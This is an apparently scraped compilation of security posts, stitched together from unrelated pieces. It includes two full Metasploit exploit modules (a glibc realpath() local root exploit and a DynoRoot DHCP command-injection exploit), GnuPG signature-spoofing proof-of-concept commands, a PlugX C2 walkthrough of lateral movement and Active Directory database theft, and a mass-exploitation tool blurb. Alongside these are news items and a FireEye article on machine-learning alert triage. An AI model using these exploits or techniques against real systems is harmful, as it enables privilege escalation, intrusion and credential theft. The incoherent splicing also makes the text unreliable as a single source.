Fi8sVrs

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => "glibc 'realpath()' Privilege Escalation", 'Description' => %q{ This module attempts to gain root privileges on Linux systems by abusing a vulnerability in GNU C Library (glibc) version 2.26 and prior. This module uses halfdog's RationalLove exploit to exploit a buffer underflow in glibc realpath() and create a SUID root shell. The exploit has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1. The target system must have unprivileged user namespaces enabled. This module has been tested successfully on Ubuntu Linux 16.04.3 (x86_64) with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc version 2.24-11+deb9u1. }, 'License' => MSF_LICENSE, 'Author' => [ 'halfdog', # Discovery and RationalLove.c exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Jan 16 2018', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'AKA', 'RationalLove.c' ], [ 'BID', '102525' ], [ 'CVE', '2018-1000001' ], [ 'EDB', '43775' ], [ 'URL', 'https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/' ], [ 'URL', 'http://www.openwall.com/lists/oss-security/2018/01/11/5' ], [ 'URL', 'https://securitytracker.com/id/1040162' ], [ 'URL', 'https://sourceware.org/bugzilla/show_bug.cgi?id=22679' ], [ 'URL', 'https://usn.ubuntu.com/3534-1/' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1533836' ] ], 'DefaultTarget' => 0)) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -w -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end register_file_for_cleanup path cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2018-1000001', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check version = kernel_release if Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.36') vprint_error "Linux kernel version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Linux kernel version #{version} is vulnerable" arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" unless userns_enabled? vprint_error 'Unprivileged user namespaces are not permitted' return CheckCode::Safe end vprint_good 'Unprivileged user namespaces are permitted' version = glibc_version if Gem::Version.new(version.split('-').first) > Gem::Version.new('2.26') vprint_error "GNU C Library version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "GNU C Library version #{version} is vulnerable" # fuzzy match glibc 2.23-0ubuntu9 and 2.24-11+deb9u1 glibc_banner = cmd_exec('ldd --version') unless glibc_banner.include?('2.23-0ubuntu') || glibc_banner.include?('2.24-11+deb9') vprint_error 'No offsets for this version of GNU C Library' return CheckCode::Safe end CheckCode::Appears end def exploit if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end if check != CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" @executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile @executable_path, exploit_data('RationalLove.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx @executable_path, exploit_data('RationalLove') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit...' output = cmd_exec "echo '#{payload_path} & exit' | #{@executable_path}", nil, 30 output.each_line { |line| vprint_status line.chomp } end def on_new_session(client) # remove root owned SUID executable if client.type.eql? 'meterpreter' client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi' client.fs.file.rm @executable_path else client.shell_command_token "rm #{@executable_path}" end end end Source

SigSpoof flaw fixed inGnuPG, Enigmail, GPGTools, and python-gnupg. For their entire existence, some of the world's most widely used email encryption tools have been vulnerable to hacks that allowed attackers to spoof the digital signature of just about any person with a public key, a researcher said Wednesday. GnuPG, Enigmail, GPGTools, and python-gnupg have all been updated to patch the critical vulnerability. Enigmail and the Simple Password Store have also received patches for two related spoofing bugs. Digital signatures are used to prove the source of an encrypted message, data backup, or software update. Typically, the source must use a private encryption key to cause an application to show that a message or file is signed. But a series of vulnerabilities dubbed SigSpoof makes it possible in certain cases for attackers to fake signatures with nothing more than someone’s public key or key ID, both of which are often published online. The spoofed email shown at the top of this post can't be detected as malicious without doing forensic analysis that's beyond the ability of many users. Backups and software updates affected, too The flaw, indexed as CVE-2018-12020, means that decades' worth of email messages many people relied on for sensitive business or security matters may have in fact been spoofs. It also has the potential to affect uses that went well beyond encrypted email. CVE-2018-12020 affects vulnerable software only when it enables a setting called verbose, which is used to troubleshoot bugs or unexpected behavior. None of the vulnerable programs enables verbose by default, but a variety of highly recommended configurations available online—including the cooperpair safe defaults, Ultimate GPG settings, and Ben's IT-Kommentare—turn it on. Once verbose is enabled, Brinkmann's post includes three separate proof-of-concept spoofing attacks that work against the previously mentioned tools and possibly many others. The spoofing works by hiding metadata in an encrypted email or other message in a way that causes applications to treat it as if it were the result of a signature-verification operation. Applications such as Enigmail and GPGTools then cause email clients such as Thunderbird or Apple Mail to falsely show that an email was cryptographically signed by someone chosen by the attacker. All that's required to spoof a signature is to have a public key or key ID. The attacks are relatively easy to carry out. The code for one of Brinkmann’s PoC exploits that forges the digital signature of Enigmail developer Patrick Brunschwig is: $ echo 'Please send me one of those expensive washing machines.' \ | gpg --armor -r VICTIM_KEYID --encrypt --set-filename "`echo -ne \''\ \n[GNUPG:] GOODSIG DB1187B9DD5F693B Patrick Brunschwig \ \n[GNUPG:] VALIDSIG 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B 2018-05-31 1527721037 0 4 0 1 10 01 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B\ \n[GNUPG:] TRUST_FULLY 0 classic\ \ngpg: '\'`" > poc1.msg A second exploit is: echo "See you at the secret spot tomorrow 10am." | gpg --armor --store --compress-level 0 --set-filename "`echo -ne \''\ \n[GNUPG:] GOODSIG F2AD85AC1E42B368 Patrick Brunschwig \ \n[GNUPG:] VALIDSIG F2AD85AC1E42B368 x 1527721037 0 4 0 1 10 01\ \n[GNUPG:] TRUST_FULLY\ \n[GNUPG:] BEGIN_DECRYPTION\ \n[GNUPG:] DECRYPTION_OKAY\ \n[GNUPG:] ENC_TO 50749F1E1C02AB32 1 0\ \ngpg: '\'`" > poc2.msg Brinkmann told Ars that the root cause of the bug goes back to GnuPG 0.2.2 from 1998, "although the impact would have been different then and changed over time as more apps use GPG." He publicly disclosed the vulnerability only after developers of the tools known to be vulnerable were patched. The flaws are patched in GnuPG version 2.2.8, Enigmail 2.0.7, GPGTools 2018.3, and python GnuPG 0.4.3. People who want to know the status of other applications that use OpenPGP should check with the developers. Wednesday's vulnerability disclosure comes a month after researchers revealed a different set of flaws that made it possible for attackers to decrypt previously obtained emails that were encrypted using PGP or S/MIME. Efail, as the bugs were dubbed, could be exploited in a variety of email programs, including Thunderbird, Apple Mail, and Outlook. Separately, Brinkmann reported two SigSpoof-related vulnerabilities in Enigmail and the Simple Password Store that also made it possible to spoof digital signatures in some cases. CVE-2018-12019 affecting Enigmail can be triggered even when the verbose setting isn't enabled. It, too, is patched in the just-released version 2.0.7. CVE-2018-12356, meanwhile, let remote attackers spoof file signatures on configuration files and extensions scripts, potentially allowing the accessing of passwords or the execution of malicious code. The fix is here. Via arstechnica.com

Part 1: Following my previous article on PlugX, I would like to continue the analysis but now use the PlugX controller to mimic some of the steps that might be executed by an attacker. As you know the traditional steps of an attack lifecycle follow, normally, a predictable sequence of events i.e., Reconnaissance, initial compromise, establish foothold, escalate privileges, internal reconnaissance, move laterally, maintain persistence, complete mission. For sake of brevity I will skip most of the steps and will focus on the lateral movement.I will use the PlugX controller and C2 functionality to simulate an attacker that established a foothold inside an environment and obtained admin access to a workstation. Following that, the attacker moved laterally to a Windows Domain Controller. I will use the PlugX controller to accomplish this scenario and observe how an attacker would operate within a compromised environment. As we saw previously, the PlugX controller interface allows an operator to build payloads, set campaigns and define the preferred method for the compromised hosts to check-in and communicate with the controller. In the PlugX controller, English version from Q3 2013, an operator can build the payload using two techniques. One is using the “DNS Online” technique which allows the operator to define the C2 address e.g, an URL or IP address, that will be used by the payload to speak with the C2. The other method, is the “Web Online”, which allows the operator to tell the payload from where it should fetch the C2 address. This method allows the operator to have more control over the campaign. The following diagram illustrates how the “Web Online” technique works. Why do I say this technique would allow an attacker to have more control? Consider the case that an organization was compromised by a threat actor that use this PlugX technique. In case the C2 is discovered, the impacted organization could block the IP or URL on the existing boundary security controls as a normal reaction to the concerns of having an attacker inside the network. However, the attacker could just change the C2 string and point it to a different system. In case the organization was not able to scope the incident and understand the TTP’s (Tools, Tactics and Procedures) then the attacker would still maintain persistence in the environment. This is an example that when conducting incident response, among other things, you need to have visibility into the tools and techniques the attacker is using so you could properly scope the incident and perform effective and efficient containment and eradication steps. As an example of this technique, below is a print screen from a GitHub page that has been used by an unknown threat actor to leverage this method. So, how to leverage this technique on the PlugX builder? The picture below shows how the operator could create a payload that uses the “Web Online” technique. The C2 address would be fetched from a specified site e.g. a Pastebin address, which on its turn would redirect the payload to the real C2 address. The string “DZKSAFAAHHHHHHOCCGFHJGMGEGFGCHOCDGPGNGDZJS” in this case is used to decode to the real C2 address which is “www.builder.com”. On the “PlugX: some uncovered points” article, Fabien Perigaud writes about how to decode this string. Palo Alto Unit42 gives another example of this technique on the “Paranoid PlugX” article. The article “Winnti Abuses GitHub for C&C Communications” from Cedric Pernet ilustrates an APT group leveraging this technique using GitHub. For sake of simplicity, in this article, I’m going to use the DNS Online technique using “www.builder.com” as C2 address. Next, on the “First” tab I specify the campaing ID and the password used by the payload to connect to the C2. Next, on the Install tab I specify the persistence settings, in this case I’m telling the payload to install a service and I can specify different settings including where to deploy the binaries, the service name and service description. In addition, I can specify that if the Service persistence mechanism fails due to some reason the payload should install the persistence mechanism using the Registry and I can specify which HIVE should be used. Then, In the inject tab I specify which process will be injected with the malicious payload. In this case I choose “svchost.exe”. This will make PlugX start a new instance of “svchost.exe” and then inject the malicious code into svchost.exe process address space using process hollowing technique. Other than that, the operator could define a schedule and determine which time of the week the payload should communicate with the C2. Also the operator could define the Screen Recording capability that will take screenshots at a specific frequency and will save them encrypted in a specific folder. Last settings on the “option” tab allow the operator to enable the keylogger functionality and specify if the payload should hide it self and also delete itself after execution. Finally, after all the settings defined, the operator can create/download the payload in different formats. An executable, binary form (Shellcode), or an array in C that can then be plugged in another delivery mechanism e.g, PowerShell or MsBuild. After deploying and installing the payload on a system, that system will check-in into the PlugX controller and an operator can call the “Manager” to perform the different actions. In this example I show how an attacker, after having compromised a system, uses the C2 interface to: Browse the network Access remote systems via UNC path Upload and execute a file e.g., upload PlugX binary Invoke a command shell and perform remote commands e.g., execute PlugX binary on a remote system Previous pictures illustrate actions that the attacker could perform to move laterally and, for example, at some point in time, access a domain controller via UNC path, upload the PlugX payload to a directory of its choice and execute it. In this case the pictures show that the PlugX payload was dropped into c:\PerfLogs\Admin folder and then was executed using WMI. Below example shows the view from the attacker with two C2 sessions. One for one workstation and another for a domain controller. Having access to a domain controller is likely one of the goals of the attacker so he can obtain all the information he needs about an organization from the Active Directory database. To access the Active Directory database, the attacker could, for example, run the “ntdsutil.exe” command to create a copy of the “NTDS.dit” file using Volume Shadow Copy technique. Then, the attacker can access the database and download it to a system under his control using the PlugX controller interface. The picture below illustrates an attacker obtained the relevant data that was produced using the “ntdsutil.exe” command. Finally, the attacker might delete the artifacts that were left behind on the file system as consequence of running “ntdsutil.exe”. So, in summary, we briefly looked at the different techniques a PlugX payload could be configured to speak with a Command and Controller. We built, deploy and install a payload. Compromised a system and obtain a perspective from PlugX operator. We move laterally to a domain controller and installed the PlugX payload and then used a command shell to obtain the Active Directory database. Of course, as you noted, the scenario was accomplished with an old version of the PlugX controller. Newer versions likely have many new features and capabilities. For example, the print screen below is from a PlugX builder from 2014 (MD5: 534d28ad55831c04f4a7a8ace6dd76c3) which can create different payloads that perform DLL Search order hijacking using Lenovo’s RGB LCD Display Utility for ThinkPad (tplcdclr.exe) or Steve Gibson’s Domain Name System Benchmarking Utility (sep_NE.exe). The article from Kaspersky “PlugX malware: A good hacker is an apologetic hacker” outlines a summary about it. That’s it! With this article we set the table for the next article focusing on artifacts that might helps us uncover the hidden traits that were left behind by the attacker actions performed during this scenario. Stay tuned and have fun! Source: countuponsecurity.com

Many cyber incidents can be traced back to an original alert that was either missed or ignored by the Security Operations Center (SOC) or Incident Response (IR) team. While most analysts and SOCs are vigilant and responsive, the fact is they are often overwhelmed with alerts. If a SOC is unable to review all the alerts it generates, then sooner or later, something important will slip through the cracks. The core issue here is scalability. It is far easier to create more alerts than to create more analysts, and the cyber security industry is far better at alert generation than resolution. More intel feeds, more tools, and more visibility all add to the flood of alerts. There are things that SOCs can and should do to manage this flood, such as increasing automation of forensic tasks (pulling PCAP and acquiring files, for example) and using aggregation filters to group alerts into similar batches. These are effective strategies and will help reduce the number of required actions a SOC analyst must take. However, the decisions the SOC makes still form a critical bottleneck. This is the “Analyze/ Decide” block in Figure 1. Figure 1: Basic SOC triage stages In this blog post, we propose machine learning based strategies to help mitigate this bottleneck and take back control of the SOC. We have implemented these strategies in our FireEye Managed Defense SOC, and our analysts are taking advantage of this approach within their alert triaging workflow. In the following sections, we will describe our process to collect data, capture alert analysis, create a model, and build an efficacy workflow – all with the ultimate goal of automating alert triage and freeing up analyst time. Reverse Engineering the Analyst Every alert that comes into a SOC environment contains certain bits of information that an analyst uses to determine if the alert represents malicious activity. Often, there are well-paved analytical processes and pathways used when evaluating these forensic artifacts over time. We wanted to explore if, in an effort to truly scale our SOC operations, we could extract these analytical pathways, train a machine to traverse them, and potentially discover new ones. Think of a SOC as a self-contained machine that inputs unlabeled alerts and outputs the alerts labeled as “malicious” or “benign”. How can we capture the analysis and determine that something is indeed malicious, and then recreate that analysis at scale? In other words, what if we could train a machine to make the same analytical decisions as an analyst, within an acceptable level of confidence? Basic Supervised Model Process The data science term for this is a “Supervised Classification Model”. It is “supervised” in the sense that it learns by being shown data already labeled as benign or malicious, and it is a “classification model” in the sense that once it has been trained, we want it to look at a new piece of data and make a decision between one of several discrete outcomes. In our case, we only want it to decide between two “classes” of alerts: malicious and benign. In order to begin creating such a model, a dataset must be collected. This dataset forms the “experience” of the model, and is the information we will use to “train” the model to make decisions. In order to supervise the model, each unit of data must be labeled as either malicious or benign, so that the model can evaluate each observation and begin to figure out what makes something malicious versus what makes it benign. Typically, collecting a clean, labeled dataset is one of the hardest parts of the supervised model pipeline; however, in the case of our SOC, our analysts are constantly triaging (or “labeling”) thousands of alerts every week, and so we were lucky to have an abundance of clean, standardized, labeled alerts. Once a labeled dataset has been defined, the next step is to define “features” that can be used to portray the information resident in each alert. A “feature” can be thought of as an aspect of a bit of information. For example, if the information is represented as a string, a natural “feature” could be the length of the string. The central idea behind building features for our alert classification model was to find a way to represent and record all the aspects that an analyst might consider when making a decision. Building the model then requires choosing a model structure to use, and training the model on a subset of the total data available. The larger and more diverse the training data set, generally the better the model will perform. The remaining data is used as a “test set” to see if the trained model is indeed effective. Holding out this test set ensures the model is evaluated on samples it has never seen before, but for which the true labels are known. Finally, it is critical to ensure there is a way to evaluate the efficacy of the model over time, as well as to investigate mistakes so that appropriate adjustments can be made. Without a plan and a pipeline to evaluate and retrain, the model will almost certainly decay in performance. Feature Engineering Before creating any of our own models, we interviewed experienced analysts and documented the information they typically evaluate before making a decision on an alert. Those interviews formed the basis of our feature extraction. For example, when an analyst says that reviewing an alert is “easy”, we ask: “Why? And what helps you make that decision?” It is this reverse engineering of sorts that gives insight into features and models we can use to capture analysis. For example, consider a process execution event. An alert on a potentially malicious process execution may contain the following fields: Process Path Process MD5 Parent Process Process Command Arguments While this may initially seem like a limited feature space, there is a lot of useful information that one can extract from these fields. Beginning with the process path of, say, “C:\windows\temp\m.exe”, an analyst can immediately see some features: The process resides in a temporary folder: C:\windows\temp\ The process is two directories deep in the file system The process executable name is one character long The process has an .exe extension The process is not a “common” process name While these may seem simple, over a vast amount of data and examples, extracting these bits of information will help the model to differentiate between events. Even the most basic aspects of an artifact must be captured in order to “teach” the model to view processes the way an analyst does. The features are then encoded into a more discrete representation, similar to this: Temp_folder Depth Name_Length Extension common_process_name TRUE 2 1 exe FALSE Another important feature to consider about a process execution event is the combination of parent process and child process. Deviation from expected “lineage” can be a strong indicator of malicious activity. Say the parent process of the aforementioned example was ‘powershell.exe’. Potential new features could then be derived from the concatenation of the parent process and the process itself: ‘powershell.exe_m.exe’. This functionally serves as an identity for the parent-child relation and captures another key analysis artifact. The richest field, however, is probably the process arguments. Process arguments are their own sort of language, and language analysis is a well-tread space in predictive analytics. We can look for things including, but not limited to: Network connection strings (such as ‘http://’, ‘https://’, ‘ftp://’). Base64 encoded commands Reference to Registry Keys (‘HKLM’, ‘HKCU’) Evidence of obfuscation (ticks, $, semicolons) (read Daniel Bohannon’s work for more) The way these features and their values appear in a training dataset will define the way the model learns. Based on the distribution of features across thousands of alerts, relationships will start to emerge between features and labels. These relationships will then be recorded in our model, and ultimately used to influence the predictions for new alerts. Looking at distributions of features in the training set can give insight into some of these potential relationships. For example, Figure 2 shows how the distribution of Process Command Length may appear when grouping by malicious (red) and benign (blue). Figure 2: Distribution of Process Event alerts grouped by Process Command Length This graph shows that over a subset of samples, the longer the command length, the more likely it is to be malicious. This manifests as red on the right and blue on the left. However, process length is not the only factor. As part of our feature set, we also thought it would be useful to approximate the “complexity” of each command. For this, we used “Shannon entropy”, a commonly used metric that measures the degree of randomness present in a string of characters. Figure 3 shows a distribution of command entropy, broken out into malicious and benign. While the classes do not separate entirely, we can see that for this sample of data, samples with higher entropy generally have a higher chance of being malicious. Figure 3: Distribution of Process Event alerts grouped by entropy Model Selection and Generalization Once features have been generated for the whole dataset, it is time to use them to train a model. There is no perfect procedure for picking the best model, but looking at the type of features in our data can help narrow it down. In the case of a process event, we have a combination of features represented as strings and numbers. When an analyst evaluates each artifact, they ask questions about each of these features, and combine the answers to estimate the probability that the process is malicious. For our use case, it also made sense to prioritize an ‘interpretable’ model – that is, one that can more easily expose why it made a certain decision about an artifact. This way analysts can build confidence in the model, as well as detect and fix analytical mistakes that the model is making. Given the nature of the data, the decisions analysts make, and the desire for interpretability, we felt that a decision tree-based model would be well-suited for alert classification. There are many publicly available resources to learn about decision trees, but the basic intuition behind a decision tree is that it is an iterative process, asking a series of questions to try to arrive at a highly confident answer. Anyone who has played the game “Twenty Questions” is familiar with this concept. Initially, general questions are asked to help eliminate possibilities, and then more specific questions are asked to narrow down the possibilities. After enough questions are asked and answered, the ‘questioner’ feels they have a high probability of guessing the right answer. Figure 4 shows an example of a decision tree that one might use to evaluate process executions. Figure 4: Decision tree for deciding whether an alert is benign or malicious For the example alert in the diagram, the “decision path” is marked in red. This is how this decision tree model makes a prediction. It first asks: “Is the length greater than 100 characters?” If so, it moves to the next question “Does it contain the string ‘http’?” and so on until it feels confident in making an educated guess. In the example in Figure 4, given that 95 percent of all the training alerts traveling this decision path were malicious, the model predicts a 95 percent chance that this alert will also be malicious. Because they can ask such detailed combinations of questions, it is possible that decision trees can “overfit”, or learn rules that are too closely tied to the training set. This reduces the model’s ability to “generalize” to new data. One way to mitigate this effect is to use many slightly different decision trees and have them each “vote” on the outcome. This “ensemble” of decision trees is called a Random Forest, and it can improve performance for the model when deployed in the wild. This is the algorithm we ultimately chose for our model. How the SOC Alert Model Works When a new alert appears, the data in the artifact is transformed into a vector of the encoded features, with the same structure as the feature representations used to train the model. The model then evaluates this “feature vector” and applies a confidence level for the predicted label. Based on thresholds we set, we can then classify the alert as malicious or benign. Figure 5: An alert presented to the analyst with its raw values captured As an example, the event shown in Figure 5 might create the following feature values: Parent Process: ‘wscript’ Command Entropy: 5.08 Command Length =103 Based on how they were trained, the trees in the model each ask a series of questions of the new feature vector. As the feature vector traverses each tree, it eventually converges on a terminal “leaf” classifying it as either benign or malicious. We can then evaluate the aggregated decisions made by each tree to estimate which features in the vector played the largest role in the ultimate classification. For the analysts in the SOC, we then present the features extracted from the model, showing the distribution of those features over the entire dataset. This gives the analysts insight into “why” the model thought what it thought, and how those features are represented across all alerts we have seen. For example, the “explanation” for this alert might look like: Command Entropy = 5.08 > 4.60: 51.73% Threat occuranceOfChar “\”= 9.00 > 4.50: 64.09% Threat occuranceOfChar:“)” (=0.00) <= 0.50: 78.69% Threat NOT processTree=”cmd.exe_to_cscript.exe”: 99.6% Threat Thus, at the time of analysis, the analysts can see the raw data of the event, the prediction from the model, an approximation of the decision path, and a simplified, interpretable view of the overall feature importance. How the SOC Uses the Model Showing the features the model used to reach the conclusion allows experienced analysts to compare their approach with the model, and give feedback if the model is doing something wrong. Conversely, a new analyst may learn to look at features they may have otherwise missed: the parent-child relationship, signs of obfuscation, or network connection strings in the arguments. After all, the model has learned on the collective experience of every analyst over thousands of alerts. Therefore, the model provides an actionable reflection of the aggregate analyst experience back to the SOC, so that each analyst can transitively learn from their colleagues. Additionally, it is possible to write rules using the output of the model as a parameter. If the model is particularly confident on a subset of alerts, and the SOC feels comfortable automatically classifying that family of threats, it is possible to simply write a rule to say: “If the alert is of this type, AND for this malware family, AND the model confidence is above 99, automatically call this alert bad and generate a report.” Or, if there is a storm of probable false positives, one could write a rule to cull the herd of false positives using a model score below 10. How the Model Stays Effective The day the model is trained, it stops learning. However, threats – and therefore alerts – are constantly evolving. Thus, it is imperative to continually retrain the model with new alert data to ensure it continues to learn from changes in the environment. Additionally, it is critical to monitor the overall efficacy of the model over time. Building an efficacy analysis pipeline to compare model results against analyst feedback will help identify if the model is beginning to drift or develop structural biases. Evaluating and incorporating analyst feedback is also critical to identify and address specific misclassifications, and discover potential new features that may be necessary. To accomplish these goals, we run a background job that updates our training database with newly labeled events. As we get more and more alerts, we periodically retrain our model with the new observations. If we encounter issues with accuracy, we diagnose and work to address them. Once we are satisfied with the overall accuracy score of our retrained model, we store the model object and begin using that model version. We also provide a feedback mechanism for analysts to record when the model is wrong. An analyst can look at the label provided by the model and the explanation, but can also make their own decision. Whether they agree with the model or not, they can input their own label through the interface. We store this label provided by the analyst along with any optional explanation given by them regarding the explanation. Finally, it should be noted that these manual labels may require further evaluation. As an example, consider a commodity malware alert, in which network command and control communications were sinkholed. An analyst may evaluate the alert, pull back triage details, including PCAP samples, and see that while the malware executed, the true threat to the environment was mitigated. Since it does not represent an exigent threat, the analyst may mark this alert as ‘benign’. However, the fact that it was sinkholed does not change that the artifacts of execution still represent malicious activity. Under different circumstances, this infection could have had a negative impact on the organization. However, if the benign label is used when retraining the model, that will teach the model that something inherently malicious is in fact benign, and potentially lead to false negatives in the future. Monitoring efficacy over time, updating and retraining the model with new alerts, and evaluating manual analyst feedback gives us visibility into how the model is performing and learning over time. Ultimately this helps to build confidence in the model, so we can automate more tasks and free up analyst time to perform tasks such as hunting and investigation. Conclusion A supervised learning model is not a replacement for an experienced analyst. However, incorporating predictive analytics and machine learning into the SOC workflow can help augment the productivity of analysts, free up time, and ensure they utilize investigative skills and creativity on the threats that truly require expertise. This blog post outlines the major components and considerations of building an alert classification model for the SOC. Data collection, labeling, feature generation, model training, and efficacy analysis must all be carefully considered when building such a model. FireEye continues to iterate on this research to improve our detection and response capabilities, continually improve the detection efficacy of our products, and ultimately protect our clients. The process and examples shown discussed in this post are not mere research. Within our FireEye Managed Defense SOC, we use alert classification models built using the aforementioned processes to increase our efficiency and ensure we apply our analysts’ expertise where it is needed most. In a world of ever increasing threats and alerts, increasing SOC efficiency may mean the difference between missing and catching a critical intrusion. Source

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DHCPServer def initialize(info = {}) super(update_info(info, 'Name' => 'DHCP Client Command Injection (DynoRoot)', 'Description' => %q{ This module exploits the DynoRoot vulnerability, a flaw in how the NetworkManager integration script included in the DHCP client in Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier processes DHCP options. A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol. }, 'Author' => [ 'Felix Wilhelm', # Vulnerability discovery 'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>' # Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, 'References' => [ ['AKA', 'DynoRoot'], ['CVE', '2018-1111'], ['EDB': '44652'], ['URL', 'https://github.com/kkirsche/CVE-2018-1111'], ['URL', 'https://twitter.com/_fel1x/status/996388421273882626?lang=en'], ['URL', 'https://access.redhat.com/security/vulnerabilities/3442151'], ['URL', 'https://dynoroot.ninja/'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'], ['URL', 'https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble'], ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111'] ], 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 15 2018' )) deregister_options('DOMAINNAME', 'HOSTNAME', 'URL', 'FILENAME') end def exploit hash = datastore.copy start_service(hash) @dhcp.set_option(proxy_auto_discovery: "#{Rex::Text.rand_text_alpha(6..12)}'&#{payload.encoded} #") begin while @dhcp.thread.alive? sleep 2 end ensure stop_service end end end # 0day.today [2018-06-13] # Source: 0day.today

Cortana, an artificial intelligence-based smart assistant that Microsoft has built into every version of Windows 10, could help attackers unlock your system password. With its latest patch Tuesday release, Microsoft has pushed an important update to address an easily exploitable vulnerability in Cortana that could allow hackers to break into a locked Windows 10 system and execute malicious commands with the user's privileges. In worst case scenario, hackers could also compromise the system completely if the user has elevated privileges on the targeted system. The elevation of privilege vulnerability, tracked as CVE-2018-8140 and reported by McAfee security researchers, resides due to Cortana's failure to adequately check command inputs, which eventually leads to code execution with elevated permissions. Microsoft has classified the flaw as "important" because exploitation of this vulnerability requires an attacker to have physical or console access to the targeted system and the targeted system also needs to have Cortana enabled. Cedric Cochin of McAfee's Advanced Threat Research (ATR) team has published technical details of the flaw, and also provided a step-by-step proof-of-concept video tutorial, showing how he hijacked a locked Windows 10 computer by carrying out a full password reset using Cortana. Cochin represents three different attack vectors, demonstrating how the Cortana flaw could be used for various nefarious purposes, such as retrieving confidential information, logging into a locked device and even run malicious code from the locked screen. McAfee recommends users to turn off Cortana on the lock screen in order to prevent such attacks. Although Microsoft has patched the vulnerability with its latest security updates released yesterday, many PCs will not be running the latest updates just yet. Via thehackernews.com

IP Monster IP Monster Valid IP Generator For Windows Machine's Only Using Nmap generate +5k IP With Secific Port or Services in 3 mins only Script is Random Generator , No IP Range Required Required : Any Windows OS And Nmap Installed Twitter , Linkedin : @WazeHell Download: ip-monster-master.zip or git clone https://github.com/WazeHell/ip-monster.git Mirror: ip-monster.py Source

Metateta Metateta Automated Tool For Scanning And Exploiting Network Protocols Using Metasploit For faster pen testing for large networks What You Can Do Scanning with all metasploit modules for specific network Protocol like smb,smtp,snmp Run all Auxiliary modules against specific network Protocol Run all Possible Metasploit Exploits for specific network Protocol That's is not recommended for real pen testing Can Run against one target or network or even text file with targets Using example's run.py -R 192.168.1.15-255 -p smb -x exploit run.py -r 192.168.1.15 -p smtp -x scan run.py -f hosts.txt -p smb -x auxiliary Author: Hossam Mohamed – @wazehell Download: metateta-master.zip git clone https://github.com/WazeHell/metateta.git Mirror: Source

